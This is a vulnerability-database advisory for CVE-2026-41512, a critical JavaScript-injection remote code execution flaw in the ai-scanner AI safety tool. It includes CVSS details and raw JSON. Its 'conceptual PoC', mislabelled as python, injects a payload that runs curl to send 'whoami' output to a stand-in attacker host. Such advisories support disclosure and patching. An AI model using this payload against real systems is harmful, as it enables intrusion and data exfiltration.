Security Vulnerability Report
中文
CVE-2026-41512 CVSS 9.9 CRITICAL

CVE-2026-41512

Published: 2026-05-08 14:16:34
Last Modified: 2026-05-11 17:20:03

Description

ai-scanner is an AI model safety scanner built on NVIDIA garak. From version 1.0.0 to before version 1.4.1, there is a remote code execution vulnerability via JavaScript injection in `BrowserAutomation::PlaywrightService`. This issue has been patched in version 1.4.1.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:0din_scanner:*:*:*:*:*:*:*:* - VULNERABLE
ai-scanner >= 1.0.0, < 1.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-41512 // Exploiting JavaScript injection in BrowserAutomation::PlaywrightService const maliciousPayload = ` const require = global.require || global.process.mainModule.require; const child_process = require('child_process'); child_process.exec('curl http://attacker.com/exfil?data=$(whoami)'); `; // Simulating the vulnerable endpoint call fetch('http://target-ai-scanner/api/scan', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ // The specific field triggering Playwright script execution browser_script: maliciousPayload }) });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41512", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:34.433", "lastModified": "2026-05-11T17:20:02.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ai-scanner is an AI model safety scanner built on NVIDIA garak. From version 1.0.0 to before version 1.4.1, there is a remote code execution vulnerability via JavaScript injection in `BrowserAutomation::PlaywrightService`. This issue has been patched in version 1.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:0din_scanner:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.4.1", "matchCriteriaId": "181C627F-1DB3-4C79-B6D4-3245A2663F2F"}]}]}], "references": [{"url": "https://github.com/0din-ai/ai-scanner/releases/tag/v1.4.1", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/0din-ai/ai-scanner/security/advisories/GHSA-r27j-xxgx-f5vr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/0din-ai/ai-scanner/security/advisories/GHSA-r27j-xxgx-f5vr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}